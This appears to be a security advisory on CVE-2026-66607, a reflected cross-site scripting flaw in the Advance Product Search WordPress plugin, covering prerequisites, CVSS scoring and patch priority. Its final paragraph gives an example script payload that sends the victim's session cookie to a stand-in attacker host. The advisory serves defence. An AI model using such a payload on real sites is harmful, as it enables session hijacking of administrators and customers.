Advance Product Search CVE-2026-66607

The Advance Product Search plugin (version 1.4.8 or earlier) must be installed and active on the target WordPress site. No authentication is required of the attacker (CVSS PR:N). Exploitation requires that a victim user - such as a logged-in site administrator or customer - be socially engineered into clicking a crafted URL (CVSS UI:R); the attack cannot be triggered purely server-side or without victim interaction. The attack is limited to sites with internet-accessible WordPress installations running this specific plugin. There are no reported requirements for special server configurations, non-default WordPress settings, or co-installed plugins beyond Advance Product Search itself.

The NVD/Patchstack CVSS base score of 7.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L) reflects a medium-high severity. Attack complexity is low and no authentication is required, meaning any internet-accessible WordPress installation running the plugin is a candidate target. The mandatory user-interaction component (UI:R) is the primary limiting factor - exploitation requires social engineering a victim to click a crafted link. No EPSS score was provided in the input data, so exploitation probability cannot be quantified numerically. The vulnerability is not in CISA KEV and no public proof-of-concept code has been confirmed, which reduces the near-term automated exploitation risk. The A:L (Availability: Low) impact in the original vector is atypical for pure reflected XSS and may represent a conservative worst-case assessment by the reporter; real-world availability impact from XSS is generally negligible unless the script forces browser actions. Overall, this is a genuine but non-critical priority - sites running the affected plugin should patch promptly but need not treat this as an emergency compared to unauthenticated RCE or authentication bypass flaws.

An attacker constructs a URL pointing to the target WordPress site's search endpoint with a crafted query parameter containing a JavaScript payload (e.g., <script>document.location='https://attacker.tld/steal?c='+document.cookie</script>), then delivers the link to a logged-in WordPress administrator or WooCommerce customer via phishing email or social media. When the victim clicks the link and the page loads, the injected script executes in their browser under the site's origin, exfiltrating session cookies or performing actions on behalf of the victim. No proof-of-concept code has been confirmed publicly, but this is a standard reflected XSS pattern requiring no specialized tooling.